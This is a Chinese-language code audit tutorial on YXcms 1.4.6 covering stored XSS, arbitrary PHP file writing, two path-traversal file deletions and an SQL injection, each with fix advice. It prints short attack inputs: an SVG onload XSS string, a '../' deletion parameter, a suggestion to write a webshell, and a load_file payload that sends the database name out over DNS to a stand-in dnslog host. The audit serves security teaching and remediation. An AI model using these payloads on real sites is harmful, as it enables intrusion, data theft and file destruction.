代码审计第二弹--YXcms
字数 1837 2025-08-29 08:31:47
YXcms代码审计与漏洞分析教学文档
一、系统概述
YXcms是一个内容管理系统,本次审计版本为1.4.6。系统目录结构如下:
data/ 存放备份数据
protected/ 网站程序核心文件夹
public/ 存放css、images、js、swf等模板公用文件
upload/ 存放上传文件
.htaccess apache伪静态规则文件
httpd.ini iis伪静态规则文件
index.php 网站入口
robots.txt robots协议
升级日志.txt 详细升级日志记录文件
二、漏洞分析
1. 存储型XSS漏洞
漏洞位置:表单提交功能
漏洞分析:
-
输入过滤流程:
- 前端输入
<svg/onload=alert(1)> - 经过
html_in()和deletehtml()函数过滤 - 存入数据库为:
<svg/on<x>load=alert(1)>
- 前端输入
-
输出问题:
- 后台查看时使用
html_out()函数处理 html_out()函数使用htmlspecialchars_decode()将实体转换回普通字符- 导致XSS代码被还原执行
- 后台查看时使用
关键函数:
function html_out($str){
if(function_exists('htmlspecialchars_decode'))
$str=htmlspecialchars_decode($str);
else
$str=html_entity_decode($str);
$str = stripslashes($str);
return $str;
}
修复建议:
- 在输出时保持HTML实体编码
- 或使用更严格的过滤函数
2. 任意PHP文件添加漏洞
漏洞位置:protected/apps/admin/controller/setController.php中的tpadd方法
漏洞分析:
- 漏洞代码:
$filename=trim($_POST['filename']);
$code=stripcslashes($_POST['code']);
$filepath=$templepath.$filename.'.php';
file_put_contents($filepath, $code);
- 问题:
- 文件名和内容直接来自用户输入
- 无有效过滤和验证
- 强制添加.php后缀
利用方式:
- 直接写入PHP webshell
- 可控制写入路径和内容
修复建议:
- 严格限制文件名格式
- 验证文件内容安全性
- 限制写入目录
3. 任意文件删除漏洞(一)
漏洞位置:protected/apps/admin/controller/filesController.php中的del方法
漏洞分析:
- 漏洞代码:
$dirs=in($_GET['fname']);
$dirs=str_replace(dirs);
$dirs=ROOT_PATH.'upload'.$dirs;
if(file_exists($dirs)) @unlink($dirs);
- 问题:
in()函数仅处理HTML和SQL注入,不处理路径遍历- 路径拼接可控
- 无权限检查
利用方式:
- 通过
../遍历删除系统文件 - 如:
?fname=../../1.txt删除根目录文件
修复建议:
- 检查路径是否在允许范围内
- 使用
realpath()解析路径 - 添加权限验证
4. 任意文件删除漏洞(二)
漏洞位置:protected/apps/admin/controller/photoController.php中的delpic方法
漏洞分析:
- 漏洞代码:
$picname=$_POST['picname'];
$path=$this->uploadpath;
if(file_exists($path.$picname)) @unlink($path.$picname);
- 问题:
- 直接使用用户输入作为文件名
- 无路径检查
修复建议:
- 同漏洞(一)的修复方案
5. SQL注入漏洞
漏洞位置:protected/apps/admin/controller/fragmentController.php中的del方法
漏洞分析:
- 漏洞代码:
$delid=implode(',',$_POST['delid']);
model('fragment')->delete('id in ('.$delid.')')
- 问题:
- 数字型参数未强制转换
- 直接拼接SQL语句
- 仅对字符串参数进行过滤
利用方式:
- 通过DNSLOG外带数据
- 如:
select load_file(concat('\\\\',(select database()),'.test.dnslog.link\\abc'))
修复建议:
- 强制参数类型转换
- 使用预处理语句
- 限制删除操作权限
三、安全防护机制分析
1. 输入过滤机制
主要函数:
deletehtml()- 去除HTML和JS标签html_in()- 使用htmlspecialchars和RemoveXSS过滤in()- 基本输入过滤
存在问题:
- 过滤不统一
- 部分场景过滤被反转
- 对特殊路径字符过滤不足
2. 输出处理机制
主要函数:
html_out()- 反转HTML实体- 直接输出 - 部分场景无过滤
存在问题:
- 输出过滤与输入过滤冲突
- 缺乏上下文感知的输出编码
四、审计方法论总结
-
入口点定位:
- 表单提交点
- 文件操作功能
- 数据库操作功能
-
数据流追踪:
- 从输入到存储的完整流程
- 从存储到输出的完整流程
- 过滤函数的调用关系
-
权限验证检查:
- 操作前权限验证
- 功能间权限隔离
-
边界条件测试:
- 极端输入测试
- 过滤绕过尝试
- 异常流程测试
五、修复方案建议
-
统一安全策略:
- 制定统一的输入输出过滤规范
- 实现安全函数库
-
权限体系强化:
- 最小权限原则
- 操作前二次验证
-
安全机制改进:
- 使用预处理语句防SQL注入
- 实现文件操作白名单
- 增加操作日志
-
代码审计流程:
- 建立代码审查制度
- 引入自动化审计工具
六、参考资源
- 先知社区原帖
- PHP安全编程指南
- OWASP安全开发指南
- 常见Web漏洞原理与防御
本教学文档详细分析了YXcms 1.4.6版本中的多个安全漏洞,包括漏洞原理、利用方式和修复建议,可作为代码审计和安全开发的参考材料。